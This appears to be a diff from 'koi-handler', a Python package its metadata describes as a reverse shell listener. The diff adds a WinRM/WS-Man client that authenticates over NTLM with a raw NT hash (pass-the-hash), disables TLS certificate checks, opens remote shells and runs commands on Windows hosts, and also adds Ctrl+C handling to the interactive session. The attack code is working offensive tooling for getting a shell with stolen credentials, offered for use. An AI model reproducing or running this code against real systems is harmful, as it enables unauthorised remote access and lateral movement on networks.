+ f'<wsman:Selector Name="ShellId">{shell_id}</wsman:Selector>'
46
+ '</wsman:SelectorSet>'
47
+ )
48
+ return (
49
+ f'<s:Envelope {_XMLNS}>'
50
+ f'<s:Header>'
51
+ f'<wsa:Action s:mustUnderstand="true">{action}</wsa:Action>'
52
+ f'<wsa:To s:mustUnderstand="true">{url}</wsa:To>'
53
+ f'<wsman:ResourceURI s:mustUnderstand="true">{_RESOURCE_CMD}</wsman:ResourceURI>'
54
+ f'<wsa:MessageID>uuid:{uuid.uuid4()}</wsa:MessageID>'
55
+ f'<wsa:ReplyTo>'
56
+ f'<wsa:Address s:mustUnderstand="true">{_ANONYMOUS}</wsa:Address>'
57
+ f'</wsa:ReplyTo>'
58
+ f'<wsman:MaxEnvelopeSize s:mustUnderstand="true">153600</wsman:MaxEnvelopeSize>'
59
+ f'<wsman:OperationTimeout>PT{_TIMEOUT}S</wsman:OperationTimeout>'
60
+ f'{selector}'
61
+ f'</s:Header>'
62
+ f'<s:Body>{body}</s:Body>'
63
+ f'</s:Envelope>'
64
+ )
65
+
66
+
67
+ class WsManClient:
68
+
69
+ def __init__(
70
+ self,
71
+ host: str,
72
+ port: int,
73
+ user: str,
74
+ nt_h: bytes,
75
+ domain: str = '',
76
+ use_ssl: bool = False,
77
+ ) -> None:
78
+ self._host = host
79
+ self._port = port
80
+ self._user = user
81
+ self._nt_h = nt_h
82
+ self._domain = domain
83
+ self._use_ssl = use_ssl
84
+ self._url = f'{"https" if use_ssl else "http"}://{host}:{port}/wsman'
85
+
86
+ def _connect(self) -> http.client.HTTPConnection:
87
+ if self._use_ssl:
88
+ ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
89
+ ctx.check_hostname = False
90
+ ctx.verify_mode = ssl.CERT_NONE
91
+ conn = http.client.HTTPSConnection(
92
+ self._host, self._port, context=ctx, timeout=_TIMEOUT,
93
+ )
94
+ else:
95
+ conn = http.client.HTTPConnection(
96
+ self._host, self._port, timeout=_TIMEOUT,
97
+ )
98
+ return conn
99
+
100
+ def _post(self, body: str) -> bytes:
101
+ conn = self._connect()
102
+ body_bytes = body.encode('utf-8')
103
+
104
+ type1 = base64.b64encode(ntlm.negotiate()).decode()
105
+ conn.request('POST', '/wsman', body=b'', headers={
106
+ 'Authorization': f'Negotiate {type1}',
107
+ 'Content-Type': _CONTENT_TYPE,
108
+ 'Content-Length': '0',
109
+ 'Connection': 'keep-alive',
110
+ })
111
+ resp = conn.getresponse()
112
+ resp.read()
113
+
114
+ if resp.status != 401:
115
+ conn.close()
116
+ raise TransportError(
117
+ f'WinRM returned {resp.status} instead of 401 during NTLM negotiation '
118
+ f'(is WinRM enabled on {self._host}:{self._port}?)',
119
+ )
120
+
121
+ auth_header = resp.getheader('WWW-Authenticate', '')
122
+ if not auth_header.startswith('Negotiate '):
123
+ conn.close()
124
+ raise TransportError('WinRM did not return an NTLM challenge')
125
+
126
+ type2 = base64.b64decode(auth_header.split(' ', 1)[1])
127
+ type3 = base64.b64encode(
128
+ ntlm.authenticate(type2, self._user, self._nt_h, self._domain),
129
+ ).decode()
130
+
131
+ conn.request('POST', '/wsman', body=body_bytes, headers={
132
+ 'Authorization': f'Negotiate {type3}',
133
+ 'Content-Type': _CONTENT_TYPE,
134
+ 'Connection': 'keep-alive',
135
+ })
136
+ resp = conn.getresponse()
137
+ data = resp.read()
138
+ conn.close()
139
+
140
+ if resp.status == 401:
141
+ raise TransportError('WinRM authentication failed (bad credentials or NTLM rejected)')
142
+ if resp.status >= 400:
143
+ try:
144
+ fault = ET.fromstring(data)
145
+ reason_el = fault.find('.//{http://www.w3.org/2003/05/soap-envelope}Text')
146
+ detail = reason_el.text if reason_el is not None else data.decode('utf-8', errors='replace')[:300]
147
+ except ET.ParseError:
148
+ detail = data.decode('utf-8', errors='replace')[:300]
149
+ raise TransportError(f'WinRM HTTP {resp.status}: {detail}')
150
+
151
+ return data
152
+
153
+ def create_shell(self) -> str:
154
+ body = (
155
+ '<rsp:Shell>'
156
+ '<rsp:InputStreams>stdin</rsp:InputStreams>'
157
+ '<rsp:OutputStreams>stdout stderr</rsp:OutputStreams>'
158
+ '</rsp:Shell>'
159
+ )
160
+ data = self._post(_envelope(_ACTION_CREATE, self._url, None, body))
161
+ root = ET.fromstring(data)
162
+ el = root.find(f'.//{{{_RSP}}}ShellId')
163
+ if el is None or not el.text:
164
+ raise TransportError('WinRM did not return a ShellId')
165
+ return el.text
166
+
167
+ def run_command(self, shell_id: str, command: str, args: str = '') -> str:
168
+ args_xml = f'<rsp:Arguments>{_xml_escape(args)}</rsp:Arguments>' if args else ''
169
+ body = (
170
+ f'<rsp:CommandLine>'
171
+ f'<rsp:Command>{_xml_escape(command)}</rsp:Command>'
172
+ f'{args_xml}'
173
+ f'</rsp:CommandLine>'
174
+ )
175
+ data = self._post(_envelope(_ACTION_COMMAND, self._url, shell_id, body))
176
+ root = ET.fromstring(data)
177
+ el = root.find(f'.//{{{_RSP}}}CommandId')
178
+ if el is None or not el.text:
179
+ raise TransportError('WinRM did not return a CommandId')
180
+ return el.text
181
+
182
+ def receive_output(self, shell_id: str, command_id: str) -> tuple[bytes, bool]:
183
+ """Poll stdout+stderr for *command_id*. Returns (data, done)."""
184
+ body = (
185
+ f'<rsp:Receive>'
186
+ f'<rsp:DesiredStream CommandId="{command_id}">stdout stderr</rsp:DesiredStream>'
187
+ f'</rsp:Receive>'
188
+ )
189
+ data = self._post(_envelope(_ACTION_RECEIVE, self._url, shell_id, body))
190
+ root = ET.fromstring(data)
191
+
192
+ out = b''
193
+ for stream in root.findall(f'.//{{{_RSP}}}Stream'):
194
+ if stream.text:
195
+ out += base64.b64decode(stream.text)
196
+
197
+ done = False
198
+ state_el = root.find(f'.//{{{_RSP}}}CommandState')
199
+ if state_el is not None:
200
+ state = state_el.get('State', '')
201
+ done = state.endswith('/Done')
202
+
203
+ return out, done
204
+
205
+ def send_input(self, shell_id: str, command_id: str, data: bytes) -> None:
206
+ """Send stdin bytes to *command_id*."""
207
+ b64 = base64.b64encode(data).decode()
208
+ body = (
209
+ f'<rsp:Send>'
210
+ f'<rsp:Stream Name="stdin" CommandId="{command_id}">{b64}</rsp:Stream>'
211
+ f'</rsp:Send>'
212
+ )
213
+ self._post(_envelope(_ACTION_SEND, self._url, shell_id, body))
214
+
215
+ def signal_ctrl_c(self, shell_id: str, command_id: str) -> None:
216
+ """Send Ctrl+C to *command_id*."""
217
+ body = (
218
+ f'<rsp:Signal CommandId="{command_id}">'
219
+ f'<rsp:Code>{_SIGNAL_CTRL_C}</rsp:Code>'
220
+ f'</rsp:Signal>'
221
+ )
222
+ try:
223
+ self._post(_envelope(_ACTION_SIGNAL, self._url, shell_id, body))
224
+ except TransportError:
225
+ pass
226
+
227
+ def signal_terminate(self, shell_id: str, command_id: str) -> None:
228
+ """Send a terminate signal to *command_id*."""
229
+ body = (
230
+ f'<rsp:Signal CommandId="{command_id}">'
231
+ f'<rsp:Code>{_SIGNAL_TERMINATE}</rsp:Code>'
232
+ f'</rsp:Signal>'
233
+ )
234
+ try:
235
+ self._post(_envelope(_ACTION_SIGNAL, self._url, shell_id, body))
236
+ except TransportError:
237
+ pass
238
+
239
+ def delete_shell(self, shell_id: str) -> None:
240
+ try:
241
+ self._post(_envelope(_ACTION_DELETE, self._url, shell_id, ''))
242
+ except TransportError:
243
+ pass
244
+
245
+ def close(self) -> None:
246
+ pass
@@ -121,12 +121,20 @@ def _interact_windows(sess: Session, logger=None) -> str:
121
121
  time.sleep(_INITIAL_SLEEP)
122
122
 
123
123
  old_sigtstp = signal.getsignal(signal.SIGTSTP)
124
+ old_sigint = signal.getsignal(signal.SIGINT)
124
125
 
125
126
  def _handle_sigtstp(signum, frame):
126
127
  result[0] = "backgrounded"
127
128
  stop_event.set()
128
129
 
130
+ def _handle_sigint(signum, frame):
131
+ try:
132
+ sess.send(CTRL_C)
133
+ except OSError:
134
+ pass
135
+
129
136
  signal.signal(signal.SIGTSTP, _handle_sigtstp)
137
+ signal.signal(signal.SIGINT, _handle_sigint)
130
138
 
131
139
  input_queue: queue.Queue = queue.Queue()
132
140
 
@@ -177,6 +185,7 @@ def _interact_windows(sess: Session, logger=None) -> str:
177
185
  pass
178
186
  finally:
179
187
  signal.signal(signal.SIGTSTP, old_sigtstp)
188
+ signal.signal(signal.SIGINT, old_sigint)
180
189
 
181
190
  stop_event.set()
182
191
  recv_thread.join(timeout=_RECV_TIMEOUT)
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.1
3
+ Version: 0.12.2
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -57,7 +57,10 @@ src/koi/utils/tls.py
57
57
  src/koi/utils/ui.py
58
58
  src/koi/utils/connect/__init__.py
59
59
  src/koi/utils/connect/base.py
60
+ src/koi/utils/connect/ntlm.py
60
61
  src/koi/utils/connect/ssh.py
62
+ src/koi/utils/connect/winrm.py
63
+ src/koi/utils/connect/wsman.py
61
64
  src/koi_handler.egg-info/PKG-INFO
62
65
  src/koi_handler.egg-info/SOURCES.txt
63
66
  src/koi_handler.egg-info/dependency_links.txt
File without changes
File without changes